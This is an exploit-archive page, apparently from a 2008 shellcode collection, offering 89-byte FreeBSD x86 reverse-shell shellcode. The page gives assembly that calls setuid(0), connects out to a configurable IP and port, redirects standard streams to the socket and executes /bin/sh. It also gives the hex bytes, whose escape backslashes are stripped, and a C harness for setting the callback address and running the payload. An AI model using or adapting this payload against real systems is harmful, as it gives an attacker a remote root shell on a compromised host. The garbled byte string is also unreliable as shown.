[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : freebsd/x86 reverse portbind /bin/sh 89 bytes
# Published : 2008-08-21
# Author : sm4x
# Previous Title : win32 connectback, receive, save and execute shellcode
# Next Title : freebsd/x86 setuid(0); execve(ipf -Fa); shellcode 57 bytes


; sm4x - 2008
; reverse portbind /bin/sh
; NULL free if address is.
; setuid(0); socket(); connect(); exit();
; 89 bytes
; FreeBSD 7.0-RELEASE

global _start
_start:

xor     eax, eax

; --- setuid(0)
push    eax
push    eax
mov     al, 0x17
push    eax
int     0x80

; --- socket()
push    eax
push    byte 0x01
push    byte 0x02
mov     al, 0x61
push    eax
int     0x80
mov     edx, eax

; --- sockaddr_in
push    0x0100007f      ; 1.0.0.127 nb: to change see below
push    0x401f02AA      ; 8000 nb: change (watch for .10 .0 etc..)
mov     eax, esp

; --- setup connect(edx, eax, 0x10);
push    byte 0x10
push    eax
push    edx
xor     eax, eax
mov     al, 0x62
push    eax
int     0x80

; -- dup2(0+1+2)..
mov     cl, 0x03
xor     ebx, ebx
dups:
push    ebx
push    edx
mov     al, 0x5a
push    eax
int     0x80
inc     ebx
loop   dups

xor     eax, eax
push    eax     ; null
push    0x68732f6e
push    0x69622f2f
mov     ebx, esp

; --- execve()
push    ebx
push    eax
push    esp
push    ebx
mov     al, 0x3b
push    eax
int     0x80

; --- exit
xor     eax, eax
push    eax
push    eax
int     0x80

/*

char code[] = "x31xc0x50x50xb0x17x50xcdx80"
       "x50x6ax01x6ax02xb0x61x50xcd"
       "x80x89xc2x68x7fx00x00x01x68"
       "x00x02x1fx40x89xe0x6ax10x50"
       "x52x31xc0xb0x62x50xcdx80xb1"
       "x03x31xdbx53x52xb0x5ax50xcd"
       "x80x43xe2xf6x31xc0x50x68x6e"
       "x2fx73x68x68x2fx2fx62x69x89"
       "xe3x53x50x54x53xb0x3bx50xcd"
       "x80x31xc0x50x50xcdx80";

int main(int argc, char **argv) {

    /* used to get ip:port combo for pushes */
        char *ip_addr = "127.0.0.1"; // watch for addresses that create x00 and others
        int port = 8000;
        struct sockaddr_in dest;

        printf("IP: %sn", ip_addr);
        printf("PORT: %dn", port);

        dest.sin_family = AF_INET;
        dest.sin_port=htons(port);
        dest.sin_addr.s_addr = inet_addr(ip_addr);

        printf("push 0x%xt; hostn", dest.sin_addr.s_addr);
        printf("push 0x%x02AAt; portn", dest.sin_port);

        int (*func)();
        printf("Bytes: %dn", sizeof(code));
        func = (int (*)()) code;
        (int)(*func)();
}

*/

// www.Syue.com [2008-08-21]